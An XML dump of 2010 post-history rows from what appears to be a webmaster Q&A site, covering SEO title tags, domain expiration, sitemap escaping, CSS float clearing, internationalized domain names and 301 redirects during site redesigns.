  <row Id="5121" PostHistoryTypeId="2" PostId="2639" RevisionGUID="e819ad0d-9f49-4aa0-a8e6-1d8255dae257" CreationDate="2010-08-27T21:34:01.357" UserId="132" Text="The `h1` would contain the title for the current page, and isn't shown in search results or on bookmarks. For those purposes, the `title` is the element to optimize.&#xD;&#xA;&#xD;&#xA;What I like to do is have the `title` start with the page title (the `h1`content, reduced if necessary), followed by the site name, possibly with the section of the site, if applicable, in between. I find this produces the most meaningful bookmarks and search engine results.&#xD;&#xA;&#xD;&#xA;Some sites show the site name first, then the page title, which isn't as helpful." />
  <row Id="5123" PostHistoryTypeId="2" PostId="2640" RevisionGUID="340f2c3d-6393-4bc5-81e4-260a65f3a9f5" CreationDate="2010-08-27T23:33:28.857" UserId="427" Text="First of all, you should always pay your domain on time, preferably for a couple of years in advance (so that in case something &quot;bad&quot; happens between you and your registrar, or your registrar goes out of business, or you lose access to the account or what not and you need the time to sort it out), you don't lose your domain just because you only have a few days to resolve a major issue.&#xD;&#xA;&#xD;&#xA;If you do not pay your domain on time, you can still get it back within a maximum of 45 days, but it's really about 30 days for most registrars (for getting it back, not talking about the ICANN process here).&#xD;&#xA;&#xD;&#xA;This is the GoDaddy expiration process for a .com - I'm providing it as an example because of GoDaddy's sheer size.&#xD;&#xA;&#xD;&#xA;Domain name: example.org&#xD;&#xA;Expiration date: 01/01/2011 (MM/DD/YYYY)&#xD;&#xA;&#xD;&#xA;If example.org is not paid on 01/01/2011 at the latest, at some point during 01/02/2011 GoDaddy will change the DNS servers to a couple of its own (even if you're already using their DNS, they will still change), effectively disabling your entire domain and will put up a web page saying you have to pay for the domain, bla bla.&#xD;&#xA;&#xD;&#xA;For the next 26 days you will be able to log in to your GoDaddy account, pay the standard registration fee and your service will be reactivated.&#xD;&#xA;&#xD;&#xA;Should you fail to renew your domain after 26 days, you will no longer be able to renew it for the standard registration fee, and will also have to pay a reactivation fee to GoDaddy, which I know was last of $80. You will be ale to retrieve your domain until day 42. After that, it's not yours anymore.&#xD;&#xA;&#xD;&#xA;Also, your domain will be up for auction on the GoDaddy Auctions site, from day 26 until day 36, should anybody want to buy it (or should you want to buy it back this way so as to avoid the $80 reactivation fee). Should no one want to buy it by day 36, that auction will be taken down and it will go back to auction on day 37, for a limited time period, as a &quot;Closeout&quot; (cheaper). Whomever buys a domain in such an auction is not necessarily awarded the domain. If you pay for it and the reactivation fee, you get your domain back and the auction winner gets his money back." />
  <row Id="5124" PostHistoryTypeId="2" PostId="2641" RevisionGUID="59b48218-bdf4-4b51-a1a5-83ce80184f3c" CreationDate="2010-08-28T11:16:44.167" UserId="1245" Text="You could try the UrlInfo operation on the [Alexa Web Information Service API][1], the [Compete API][2] offers similar stuff but I can't see if they have specifically what you're after.  There is a [Google Webmaster Tools API][3] but it doesn't look like it has the information you're after, perhaps you could just use the regular [search API][4] with the `link:` or `site:` operator in your search terms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.amazonwebservices.com/AlexaWebInfoService/1-0/ApiReferenceArticle.html&#xD;&#xA;  [2]: http://developer.compete.com/&#xD;&#xA;  [3]: http://code.google.com/apis/webmastertools/docs/2.0/developers_guide.html&#xD;&#xA;  [4]: http://code.google.com/apis/ajaxsearch/" />
  <row Id="5125" PostHistoryTypeId="2" PostId="2642" RevisionGUID="70f40fc2-cf6d-449b-857c-9a6779461cd3" CreationDate="2010-08-28T14:48:55.820" UserId="632" Text="I have a site map with generated dynamic urls that I need included in the sitemap.  However, the sitemap seems to be generating an error on the `&amp;` character, so that pages with more than one variable in the query string break the sitemap.  How can I fix this?  Here's an example:&#xD;&#xA;&#xD;&#xA;    http://example.com/index.php?action=view&amp;id=10&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5126" PostHistoryTypeId="1" PostId="2642" RevisionGUID="70f40fc2-cf6d-449b-857c-9a6779461cd3" CreationDate="2010-08-28T14:48:55.820" UserId="632" Text="Using Dynamic URLs with more than one Variable in a Sitemap?" />
  <row Id="5127" PostHistoryTypeId="3" PostId="2642" RevisionGUID="70f40fc2-cf6d-449b-857c-9a6779461cd3" CreationDate="2010-08-28T14:48:55.820" UserId="632" Text="&lt;url&gt;&lt;sitemap&gt;&lt;dynamic&gt;" />
  <row Id="5128" PostHistoryTypeId="2" PostId="2643" RevisionGUID="ecbc8ec8-2c03-4d93-8fa2-1d4431bc4e75" CreationDate="2010-08-28T15:18:51.653" UserId="1765" Text="I have a problem I can't figure out. When I nest a div inside another div and I want to give the outer div a border, the border doesn't wrap around the rendered content. Even though the content of the inside divs might be several lines high the outside border only adds whatever padding there might be.&#xD;&#xA;&#xD;&#xA;The CSS:&#xD;&#xA;&#xD;&#xA;.wrapper {&#xD;&#xA; width:550px;&#xD;&#xA; border: 1px solid #ccc;&#xD;&#xA; clear:both;&#xD;&#xA; padding: 5px;  &#xD;&#xA;}&#xD;&#xA;.content {&#xD;&#xA; float:left;&#xD;&#xA; width:250px;&#xD;&#xA; background-color:#e1e1e1;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;The HTML:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;wrapper&quot;&gt;&#xD;&#xA;    &lt;div class=&quot;content&quot;&gt;&#xD;&#xA;        text&lt;br&gt;&#xD;&#xA;        text&lt;br&gt;&#xD;&#xA;        text&lt;br&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;content&quot;&gt;&#xD;&#xA;     pic&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;" />
  <row Id="5129" PostHistoryTypeId="1" PostId="2643" RevisionGUID="ecbc8ec8-2c03-4d93-8fa2-1d4431bc4e75" CreationDate="2010-08-28T15:18:51.653" UserId="1765" Text="Why is the outer div border not dependent on the element's rendered content?" />
  <row Id="5130" PostHistoryTypeId="3" PostId="2643" RevisionGUID="ecbc8ec8-2c03-4d93-8fa2-1d4431bc4e75" CreationDate="2010-08-28T15:18:51.653" UserId="1765" Text="&lt;css&gt;" />
  <row Id="5131" PostHistoryTypeId="5" PostId="2643" RevisionGUID="5e1e3c47-704c-4eb7-be55-c5aa7a679264" CreationDate="2010-08-28T15:25:22.177" UserId="221" Comment="added 44 characters in body" Text="I have a problem I can't figure out. When I nest a div inside another div and I want to give the outer div a border, the border doesn't wrap around the rendered content. Even though the content of the inside divs might be several lines high the outside border only adds whatever padding there might be.&#xD;&#xA;&#xD;&#xA;The CSS:&#xD;&#xA;&#xD;&#xA;    .wrapper {&#xD;&#xA;     width:550px;&#xD;&#xA;     border: 1px solid #ccc;&#xD;&#xA;     clear:both;&#xD;&#xA;     padding: 5px;  &#xD;&#xA;    }&#xD;&#xA;    .content {&#xD;&#xA;     float:left;&#xD;&#xA;     width:250px;&#xD;&#xA;     background-color:#e1e1e1;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The HTML:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;wrapper&quot;&gt;&#xD;&#xA;    &lt;div class=&quot;content&quot;&gt;&#xD;&#xA;        text&lt;br&gt;&#xD;&#xA;        text&lt;br&gt;&#xD;&#xA;        text&lt;br&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;content&quot;&gt;&#xD;&#xA;     pic&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;" />
  <row Id="5132" PostHistoryTypeId="2" PostId="2644" RevisionGUID="42957dd2-2214-40b9-9483-adc81f3160af" CreationDate="2010-08-28T15:27:22.347" UserId="221" Text="The ampersand (&amp;) character is a reserved character in XML (sitemaps are XML) and must be replaced with an XML entity that represents it. In this case that would be `&amp;amp;` (all entities start with ampersand which is why it is reserved).&#xD;&#xA;&#xD;&#xA;When the XML is parsed the `&amp;amp;` entity in your url will be translated into plain `&amp;`." />
  <row Id="5133" PostHistoryTypeId="2" PostId="2645" RevisionGUID="79ba7032-baf7-4981-bde4-ab2552a311e0" CreationDate="2010-08-28T16:08:04.197" UserId="1253" Text="It's because of the floats. You need to clear them before the closing `&lt;/div&gt;` tag. Try this:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;wrapper&quot;&gt;&#xD;&#xA;        &lt;div class=&quot;content&quot;&gt;&#xD;&#xA;            text&lt;br&gt;&#xD;&#xA;            text&lt;br&gt;&#xD;&#xA;            text&lt;br&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&quot;content&quot;&gt;&#xD;&#xA;             pic&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;br style=&quot;clear: both;&quot;&gt;&#xD;&#xA;    &lt;/div&gt;" />
  <row Id="5134" PostHistoryTypeId="2" PostId="2646" RevisionGUID="4952488d-8672-4d65-adf7-dece45aba6d0" CreationDate="2010-08-28T16:53:54.180" UserId="1756" Text="I recently registered some Chinese character domain names at the .hk registrar.  I was hoping to host them at 1and1 but am getting nowhere fast.  Their system appears to struggle with the unicode characters and ignores punycode.&#xD;&#xA;&#xD;&#xA;I was wondering if anyone has experience of good hosts who support unicode domain names?" />
  <row Id="5135" PostHistoryTypeId="1" PostId="2646" RevisionGUID="4952488d-8672-4d65-adf7-dece45aba6d0" CreationDate="2010-08-28T16:53:54.180" UserId="1756" Text="Which hosts support Unicode in International Domain Names?" />
  <row Id="5136" PostHistoryTypeId="3" PostId="2646" RevisionGUID="4952488d-8672-4d65-adf7-dece45aba6d0" CreationDate="2010-08-28T16:53:54.180" UserId="1756" Text="&lt;unicode&gt;" />
  <row Id="5137" PostHistoryTypeId="2" PostId="2647" RevisionGUID="84286b24-fe6f-499b-aae9-184f2e5205ee" CreationDate="2010-08-28T17:07:45.780" UserId="221" Text="Have you tried simply entering the [punycode][1] version of the domain names? This is what is actually used when DNS entry is resolved.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Punycode" />
  <row Id="5138" PostHistoryTypeId="2" PostId="2648" RevisionGUID="f2180807-e0b3-4676-92d8-60eea6f7ff20" CreationDate="2010-08-28T17:08:32.200" UserId="1253" Text="[Bluehost][1] seems to do what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bluehost.com/cgi/info/hosting_features" />
  <row Id="5139" PostHistoryTypeId="2" PostId="2649" RevisionGUID="6a20a1e0-2741-4208-b3cc-ab52b725bf19" CreationDate="2010-08-28T20:29:59.567" UserId="1126" Text="Typically yes, but the text does not need to match exactly.  &#xD;&#xA;If I was structuring your blog, I would do something like this (similiar to Grant's advice):&#xD;&#xA;&#xD;&#xA;Homepage:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Random Ben | A Life In The Software World&lt;/title&gt;&#xD;&#xA;    &lt;h1&gt;Random Ben&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;Content Page:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Why Apple's iTV MIGHT Change Everything | RandomBen.com&lt;/title&gt;&#xD;&#xA;    &lt;h1&gt;Why Apple's iTV MIGHT Change Everything&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA; - Consider your title tag when thinking&#xD;&#xA;   about search results/bookmarks, etc.&#xD;&#xA;   (from John Conde's post) &#xD;&#xA; - Organize your&#xD;&#xA;   heading tags like an outline. (from Google)&#xD;&#xA; - Use heading tags sparingly. (from Google)&#xD;&#xA; - You may consider skipping `&lt;h1&gt;` completely and using `&lt;h2&gt;` as the top root level heading.  &#xD;&#xA;Sometimes the `&lt;h1&gt;` tag can look &lt;h1&gt;Way Too Big&lt;/h1&gt; on a mobile device like a Blackberry which may ignore stylesheets.  (from Me)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Source:&#xD;&#xA;[Google's SEO Starter Guide][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="5140" PostHistoryTypeId="2" PostId="2650" RevisionGUID="7cc507e5-cce7-44fa-a9ed-ba1fc04a8a5c" CreationDate="2010-08-28T21:45:30.270" UserId="1603" Text="No, the page `title` and `h1` does not have to be exactly the same, but you should consider having the most important terms in both places.&#xD;&#xA;&#xD;&#xA;Having a particular word in the page `title`, `h1` and content is considered good SEO practice, but duplicating the entire title is not needed unless all words in the title is actually important search terms.&#xD;&#xA;&#xD;&#xA;The `title` is what people judge it on 'from afar' like seeing it on Google, so it can make sense to be more verbose in titles. The `h1` on the other hand is for people already on the page and therefor it can be much more to the point. You should not 'sacrifice' that option for SEO.&#xD;&#xA;" />
  <row Id="5141" PostHistoryTypeId="2" PostId="2651" RevisionGUID="db488cc3-a479-43a1-8989-c935eab56be7" CreationDate="2010-08-29T00:35:54.040" UserId="132" Text="When an element contains another that is floated, the first element will not seem to contain the second. The accepted solution will work, however I don't like it because it requires extra markup to resolve a layout issue.&#xD;&#xA;&#xD;&#xA;A more preferred solution - in my eyes, anyway - is to set the parent overflow to auto:&#xD;&#xA;&#xD;&#xA;    .wrapper {&#xD;&#xA;        overflow: auto;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;That will cause the parent element to &quot;contain&quot; the child elements." />
  <row Id="5142" PostHistoryTypeId="2" PostId="2652" RevisionGUID="f349da20-f32f-4a7d-b392-a7a4e59adce6" CreationDate="2010-08-29T03:51:59.107" UserId="1762" Text="What steps do I have to take in order to make sure that I keep my search engine rankings after I redesign or update my site?" />
  <row Id="5143" PostHistoryTypeId="1" PostId="2652" RevisionGUID="f349da20-f32f-4a7d-b392-a7a4e59adce6" CreationDate="2010-08-29T03:51:59.107" UserId="1762" Text="Updating/Redesign website...how to retain transfer ranking?" />
  <row Id="5144" PostHistoryTypeId="3" PostId="2652" RevisionGUID="f349da20-f32f-4a7d-b392-a7a4e59adce6" CreationDate="2010-08-29T03:51:59.107" UserId="1762" Text="&lt;site-ranking&gt;" />
  <row Id="5145" PostHistoryTypeId="2" PostId="2653" RevisionGUID="de29d97e-6fe5-4695-a87e-45bd4a0a0ee4" CreationDate="2010-08-29T04:51:08.670" UserId="745" Text="The biggest thing is to make sure that you know what all your current URLs are and then redirect them to the new URLs using a 301 redirect when you redesign. You may find that your rankings take a slight dip temporarily, but don't panic, that can sometimes happen as Google readjusts itself to your site. Wait it out a few weeks before doing anything drastic.&#xD;&#xA;&#xD;&#xA;If you are able, you could also change your anchor href's to match the new URLs." />
  <row Id="5146" PostHistoryTypeId="2" PostId="2654" RevisionGUID="65181c88-13a9-434a-b0ae-90b2676720c5" CreationDate="2010-08-29T04:52:43.410" UserId="1253" Text="If your URLs are changing be sure to do a [301 redirect][1] so the search engines know that the old URL has moved to a new location and all incoming links for the old URL should be transferred to the new URL. A sample 301 redirect in .htaccess would look like this:&#xD;&#xA;&#xD;&#xA;    redirect 301 /old.html http://www.example.com/new.html&#xD;&#xA;&#xD;&#xA;That's about all you can control when you redesign a web site. Because your HTML will be changing your rankings may change, too, as semantic markup very much affects your rankings. The best you can do is make sure you properly markup your content (use heading tags, etc) take advantage of every internal linking opportunity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/URL_redirection" />
  <row Id="5147" PostHistoryTypeId="2" PostId="2655" RevisionGUID="8a2d8f07-b967-4769-b829-5240d493a501" CreationDate="2010-08-29T10:53:15.820" UserId="480" Text="From practical experience we've found that beyond the usual 301 redirecting these following actions have resulted in a shorter (and on one occasion non-existent) Search Engine fluctuation:&#xD;&#xA;&#xD;&#xA;- Time the migration well away from your domain name expiry/renewal, so there is little ambiguity over it being a different site&#xD;&#xA;&#xD;&#xA;- Set all far-future HTTP expiry headers to the date/time that the website is to be changed, relative timestamps require a little fiddling to become absolute when they are close enough&#xD;&#xA;&#xD;&#xA;- Migrate slowly, backporting as much as you can so the site runs in parallel - Google has a learning process to &quot;trust&quot; your site - if all paths are suddenly 301's it sometimes backs off indexing only to come back a day or two later, during which time your ranking plumets&#xD;&#xA;&#xD;&#xA;- Have your new site structure up early (and in parallel) using sitemaps to usher search engines towards the correct URL paths - when it gets to the point that you're now using 301 messages to enforce the change, they'll be additional trust between the Search Engines and yourself" />
  <row Id="5148" PostHistoryTypeId="2" PostId="2656" RevisionGUID="a18c854d-f51a-4c69-9fcd-da8aa45f1dd4" CreationDate="2010-08-29T12:02:56.637" UserId="300" Text="To clear the floats without any additional markup use overflow:hidden&#xD;&#xA;&#xD;&#xA;    .wrapper {overflow:hidden;zoom:1;}&#xD;&#xA;&#xD;&#xA;The zoom:1 will invoke [hasLayout][1] in ie6 so the float will clear in ie6.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haslayout.net/" />
  <row Id="5149" PostHistoryTypeId="2" PostId="2657" RevisionGUID="74a8edff-b365-4135-b775-0f39b23dad69" CreationDate="2010-08-29T16:29:42.517" UserDisplayName="x1 x1" Text="There is a Medical Community in our town that I would like to approach to build a web portal for them. It could be free or they could pay me for it. Honestly, I'm really after of the community that will be growing on the web. User can interact with other user more efficiently, so since it's a health related community a lot of people can benefit of the information that will be generated by the community(most of them are doctors). The content can be in a form of a blog post or forum discussion. Now my plan to get a revenue for this is I will put some ads on the site. &#xD;&#xA;&#xD;&#xA;Few question in mind are: &#xD;&#xA;I assume they would like to get the portal free and not expecting the site to earn. They would just like to have a website were they can interact with the community/people. That I think would be their main goal, Since most of them are not into web.&#xD;&#xA;&#xD;&#xA;Should I approach them to do a partnership or similar? (they get a slice of what the site earn ) or Not giving them a slice, What would you suggest? What would be proper?&#xD;&#xA;&#xD;&#xA;I need some advice If that would be a good approach, If you have some better ideas, I would like to hear it. &#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;-- Please excuse me if this is not the right section to post." />
  <row Id="5150" PostHistoryTypeId="1" PostId="2657" RevisionGUID="74a8edff-b365-4135-b775-0f39b23dad69" CreationDate="2010-08-29T16:29:42.517" UserDisplayName="x1 x1" Text="I need some suggestion: Starting a portal for a local medical community" />
  <row Id="5151" PostHistoryTypeId="3" PostId="2657" RevisionGUID="74a8edff-b365-4135-b775-0f39b23dad69" CreationDate="2010-08-29T16:29:42.517" UserDisplayName="x1 x1" Text="&lt;planning&gt;&lt;marketing&gt;&lt;community-management&gt;&lt;suggestions&gt;" />
  <row Id="5152" PostHistoryTypeId="2" PostId="2658" RevisionGUID="b356558b-bce9-4ea5-90b6-01fa771ef512" CreationDate="2010-08-29T17:02:51.453" UserId="231" Text="You could offer to make the site for free in exchange for the earnings for the next X years and after that split the revenue. I'm not sure if it's the best way, but that's the approach that I would take." />
  <row Id="5153" PostHistoryTypeId="5" PostId="2655" RevisionGUID="45bc0b8a-89db-4085-a46c-699b9f78c653" CreationDate="2010-08-29T17:38:48.933" UserId="480" Comment="added 1 characters in body" Text="From practical experience we've found that beyond the usual 301 redirecting these following actions have resulted in a shorter (and on one occasion non-existent) Search Engine fluctuation:&#xD;&#xA;&#xD;&#xA;- Time the migration well away from your domain name expiry/renewal, so there is little ambiguity over it being a different site&#xD;&#xA;&#xD;&#xA;- Set all far-future HTTP expiry headers to the date/time that the website is to be changed, relative timestamps require a little fiddling to become absolute when they are close enough&#xD;&#xA;&#xD;&#xA;- Migrate slowly, backporting as much as you can so the site runs in parallel - Google has a learning process to &quot;trust&quot; your site - if all paths are suddenly 301's it sometimes backs off indexing only to come back a day or two later, during which time your ranking plumets&#xD;&#xA;&#xD;&#xA;- Have your new site structure up early (and in parallel) using sitemaps to usher search engines towards the correct URL paths - when it gets to the point that you're now using 301 messages to enforce the change, there'll be additional trust between the Search Engines and yourself" />
  <row Id="5159" PostHistoryTypeId="2" PostId="2661" RevisionGUID="3a50ccc5-c45b-42fe-8564-60b71a623d38" CreationDate="2010-08-29T21:32:23.350" UserDisplayName="andrej" Text="There is a pretty extensive article about clearing floats here: http://www.positioniseverything.net/easyclearing.html&#xD;&#xA;&#xD;&#xA;It also suggest not to use any additional markup. Instead a uses a simple css-class, which you add everytime you want to clear floats." />
  <row Id="5160" PostHistoryTypeId="2" PostId="2662" RevisionGUID="daa6fba3-4f01-46f7-86b5-574fc6f3d856" CreationDate="2010-08-29T21:37:28.467" UserDisplayName="andrej" Text="there is a very sweet solution implemented by facebook for exactly this problem. If you have firebug installed in firefox, you can easily check it out. For example here:&#xD;&#xA;&#xD;&#xA;http://www.facebook.com/pages/Yahoo-Nachrichten/108333755877035?ref=ts&amp;v=wall&#xD;&#xA;(they always have a picture and some text next to it)&#xD;&#xA;&#xD;&#xA;the image gets: float:left&#xD;&#xA;and the text gets: display:table-cell; vertical-align:top; width:1000px;&#xD;&#xA;&#xD;&#xA;The only drawback is, that you will have to write some specific code for IE6 and IE7, which you can find by having a look at the facebook page in those browsers with the developer toolbar" />
  <row Id="5161" PostHistoryTypeId="4" PostId="2652" RevisionGUID="58576a30-8434-4526-b68d-fd285ae1e19d" CreationDate="2010-08-30T00:38:26.227" UserId="1762" Comment="edited title" Text="Updating/Redesign website...how to retain/transfer ranking?" />
  <row Id="5164" PostHistoryTypeId="2" PostId="2663" RevisionGUID="8a8d3925-4af0-461a-b0dd-84cdc866233d" CreationDate="2010-08-30T01:12:36.450" UserId="8770" Text="Simple question: Should I make sure to use Unix line endings for my robots.txt, or does it not matter?  " />
  <row Id="5165" PostHistoryTypeId="1" PostId="2663" RevisionGUID="8a8d3925-4af0-461a-b0dd-84cdc866233d" CreationDate="2010-08-30T01:12:36.450" UserId="8770" Text="Does the line-ending format of robots.txt matter?" />
  <row Id="5166" PostHistoryTypeId="3" PostId="2663" RevisionGUID="8a8d3925-4af0-461a-b0dd-84cdc866233d" CreationDate="2010-08-30T01:12:36.450" UserId="8770" Text="&lt;robots.txt&gt;" />
  <row Id="5167" PostHistoryTypeId="2" PostId="2664" RevisionGUID="a1b7aafe-f05c-46db-9245-a59dad4ac335" CreationDate="2010-08-30T01:49:14.217" UserId="1560" Text="My boss uses Opera so I have to test in it too! He actually found a jQuery issue that happens only in this browser." />
  <row Id="5168" PostHistoryTypeId="2" PostId="2665" RevisionGUID="4a679916-9a5c-44f6-9d77-d2f1a4c4ef2a" CreationDate="2010-08-30T02:38:26.010" UserId="1253" Text="It doesn't matter. According to the spec:&#xD;&#xA;&#xD;&#xA;&gt; The file consists of one or more records separated by one or more blank lines (terminated by CR,CR/NL, or NL).&#xD;&#xA;&#xD;&#xA; - CR = Carriage Return (i.e. /r) &#xD;&#xA; - CR/NL = Carriage Return/New Line (i.e. /r/n) &#xD;&#xA; - NL = New Line (i.e. /n)&#xD;&#xA;&#xD;&#xA;This means you can use `\r`. `\n`, or `\r\n` and it will work. " />
  <row Id="5169" PostHistoryTypeId="5" PostId="2665" RevisionGUID="75412262-813a-44a5-9915-e43898bb4da6" CreationDate="2010-08-30T02:44:54.933" UserId="1253" Comment="edited body" Text="It doesn't matter. According to the spec:&#xD;&#xA;&#xD;&#xA;&gt; The file consists of one or more records separated by one or more blank lines (terminated by CR,CR/NL, or NL).&#xD;&#xA;&#xD;&#xA; - CR = Carriage Return (i.e. \r) &#xD;&#xA; - CR/NL = Carriage Return/New Line (i.e. \r\n) &#xD;&#xA; - NL = New Line (i.e. \n)&#xD;&#xA;&#xD;&#xA;This means you can use `\r`. `\n`, or `\r\n` and it will work. " />
  <row Id="5171" PostHistoryTypeId="2" PostId="2666" RevisionGUID="bdf166c9-89c9-489f-b92e-245f5acf0028" CreationDate="2010-08-30T06:16:17.540" UserId="55" Text="In my experience, doing work 'now' for some kind of equity or compensation 'later' almost never works. What usually ends up happening is the project becomes a weight attached to your ankle.&#xD;&#xA;&#xD;&#xA;I'm not saying don't do it, but I would:&#xD;&#xA;&#xD;&#xA; - Not expect a lot in return from the site itself. Perhaps doing this could be a catalyst for additional projects that pay conventionally?&#xD;&#xA;&#xD;&#xA; - Make _sure_ maintenance and modification of the site is as simple as it can be, ideally to the point that someone other than _you_ can handle it.&#xD;&#xA;&#xD;&#xA; - Avoid going out of pocket completely to get things going. This includes hosting, domain registration, paying for graphics / plug-ins / theme / etc.&#xD;&#xA;&#xD;&#xA; - Set a limit for how much time you're willing to spend on it and stick with it.&#xD;&#xA;&#xD;&#xA;Ideas like this often look great on paper, but usually never end up producing as well as anticipated. Again, if you manage your risks (which is currently just your time) it sounds like it might lead to other opportunities.&#xD;&#xA;&#xD;&#xA;What you don't want to become is the 'person who does sites for free or next to nothing' :)&#xD;&#xA;&#xD;&#xA;I wish I had $5 for every time someone said &quot;_Come on man, you could do this in like three or four hours, I'm sure!_&quot;. Three or four weeks later that usually proves not to have been the case :)" />
  <row Id="5172" PostHistoryTypeId="2" PostId="2667" RevisionGUID="edc4edd3-8ad5-45da-b2e6-c1985daa4c93" CreationDate="2010-08-30T08:49:14.637" UserId="89" Text=".bis is not worth using.&#xD;&#xA;&#xD;&#xA;.biz was originally created to be just as good as .com in order to solve the problem of all the good .com names already being taken - but it didn't work out for them.&#xD;&#xA;&#xD;&#xA;.biz is not taken seriously, it is not taken seriously by potential customers, it is not taken seriously by vendors and it's not taken seriously by search engines.&#xD;&#xA;&#xD;&#xA;(I have one .biz, you should hear the responses I get when I tell people the domain name)." />
  <row Id="5173" PostHistoryTypeId="2" PostId="2668" RevisionGUID="61aa6237-59bf-4592-a984-6849518e6e6e" CreationDate="2010-08-30T10:59:09.320" UserId="221" Text="In my language there are numerous characters that are not allowed in the standard domain name. However, most of these can be easily replaced with safe equivalents (mostly dropping accents `í` becomes `i` etc.). So while we have often registered both forms (e.g. `timarit.is` and the proper Icelandic `tímarit.is`) we have always made the 'safe' form the default and the other merely redirects to it.&#xD;&#xA;&#xD;&#xA;However, we are now in the position where the substitution is less favorable (`æ` becomes `ae`) and would prefer to use the internationalized name by default.&#xD;&#xA;&#xD;&#xA;My question is simply if there are any known issues with this? Browser incompatibility comes first to mind, but I'm equally worried there are other things that *aren't* coming to mind." />
  <row Id="5174" PostHistoryTypeId="1" PostId="2668" RevisionGUID="61aa6237-59bf-4592-a984-6849518e6e6e" CreationDate="2010-08-30T10:59:09.320" UserId="221" Text="Are there any technical issues with having an 'internationalized' domain name?" />
  <row Id="5175" PostHistoryTypeId="3" PostId="2668" RevisionGUID="61aa6237-59bf-4592-a984-6849518e6e6e" CreationDate="2010-08-30T10:59:09.320" UserId="221" Text="&lt;domains&gt;&lt;url&gt;" />
  <row Id="5176" PostHistoryTypeId="5" PostId="2649" RevisionGUID="d6232a7e-f7d0-482e-b04a-963ff09138cf" CreationDate="2010-08-30T13:02:32.200" UserId="1126" Comment="removed last consideration due to feedback" Text="Typically yes, but the text does not need to match exactly.  &#xD;&#xA;If I was structuring your blog, I would do something like this (similiar to Grant's advice):&#xD;&#xA;&#xD;&#xA;Homepage:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Random Ben | A Life In The Software World&lt;/title&gt;&#xD;&#xA;    &lt;h1&gt;Random Ben&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;Content Page:&#xD;&#xA;&#xD;&#xA;    &lt;title&gt;Why Apple's iTV MIGHT Change Everything | RandomBen.com&lt;/title&gt;&#xD;&#xA;    &lt;h1&gt;Why Apple's iTV MIGHT Change Everything&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA; - Consider your title tag when thinking&#xD;&#xA;   about search results/bookmarks, etc.&#xD;&#xA;   (from John Conde's post) &#xD;&#xA; - Organize your&#xD;&#xA;   heading tags like an outline. (from Google)&#xD;&#xA; - Use heading tags sparingly. (from Google)&#xD;&#xA;&#xD;&#xA;Source:&#xD;&#xA;[Google's SEO Starter Guide][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/en/us/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="5177" PostHistoryTypeId="2" PostId="2669" RevisionGUID="6b1d0ab8-531a-4fd4-91de-b9cededf952b" CreationDate="2010-08-30T13:45:03.577" UserId="480" Text="From the phrases:&#xD;&#xA;&#xD;&#xA;- &quot;All change please&quot;&#xD;&#xA;- &quot;One small step for man, one giant leap for mankind&quot;&#xD;&#xA;- &quot;Many hands make light work&quot;&#xD;&#xA;&#xD;&#xA;To the words:&#xD;&#xA;&#xD;&#xA;- [book][1]&#xD;&#xA;- [change][2]&#xD;&#xA;- [encyclopedia][3]&#xD;&#xA;&#xD;&#xA;To the (available) domain names:&#xD;&#xA;&#xD;&#xA;- www.amorphesaurus.com from amorphous and thesaurus (sounds a bit like a dinosaur and thesaurus is just poor)&#xD;&#xA;- www.amorphmana.co from amorphous and almanac&#xD;&#xA;- www.refinelopedia.com from refinement and encyclopedia&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thesaurus.com/browse/book&#xD;&#xA;  [2]: http://thesaurus.com/browse/change&#xD;&#xA;  [3]: http://thesaurus.com/browse/encyclopedia" />
